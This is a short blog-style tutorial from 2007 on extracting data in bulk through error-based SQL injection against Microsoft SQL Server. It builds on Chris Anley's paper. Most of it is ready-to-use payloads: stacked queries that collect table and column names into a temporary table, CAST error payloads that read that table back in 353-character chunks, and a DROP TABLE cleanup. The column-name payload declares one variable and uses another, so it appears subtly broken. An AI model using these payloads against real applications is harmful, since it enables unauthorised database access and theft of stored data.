Fast way to extract data from Error Based SQL Injections

15-3-2007

Fast way to extract data from Error Based SQL Injections

What is this?

This attack described in Advanced SQL Injection in SQL Server Applications paper by Chris Anley. This page is just a step by step tutorial.

 

Where can you use?

If you have found an error based in SQL Injection in SQL Server

 

What is the point?

You don’t have to extract every single record one by one. You can get all of them with fewer requests

 

Theory

  1. Loop all records and insert in a temporary table (generally all users have create table permission)
  2. Read temporary table
  3. Drop table and start again for some other data

 

Real World

This example shows how you can read table names,

1) Read tables Injection (for string),
 ';BEGIN DECLARE @rd varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM sysobjects WHERE xtype='U' AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;-- 
2) Read from new temp table,

Step 1

' OR 1=CAST((SELECT TOP 1 SUBSTRING(rd,1,360) FROM TMP_SYS_TMP) AS Int)--

Step 2

' OR 1=CAST((SELECT TOP 1 SUBSTRING(rd,353,360) FROM TMP_SYS_TMP) AS Int)--

Step n..

Add 353 of your previous SQL to read more

' OR 1=CAST((SELECT TOP 1 SUBSTRING(rd,n*353,360) FROM TMP_SYS_TMP) AS Int)--
Note :
Normally we don't need to put TOP 1 in query because we already have only one record but it's a good practice while dealing with error based sql injections.
 
3) Drop table
';DROP TABLE TMP_SYS_TMP--
4) Change query and first injection query and get more data ...

 

Read tables Injection for integers

';BEGIN DECLARE @rd varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+CAST(id AS varchar) FROM sysobjects WHERE xtype='U' AND CAST(name AS varchar)>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Also same syntax should works with proper string data but we don’t need it for string data anyway.

 

Another example : Reading column names of a spesific table

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

 

Notes

Injecting all these requests can change depend on the injection places. For example in a numeric injection maybe you should start something like 0; or to get results you may need to start with ') OR 1= or in a numeric situation you just can use your subselect without casting or something else.

 

Limitations

Maximum one time record can’t be more than 8000 characters and MSSQL error messages don’t show more than 353 characters.

Roughly we can calculate total request count like this:

DataLength / 353 + ((DataLength / 8000)*2)

Recent Blog Posts

See all of the blog posts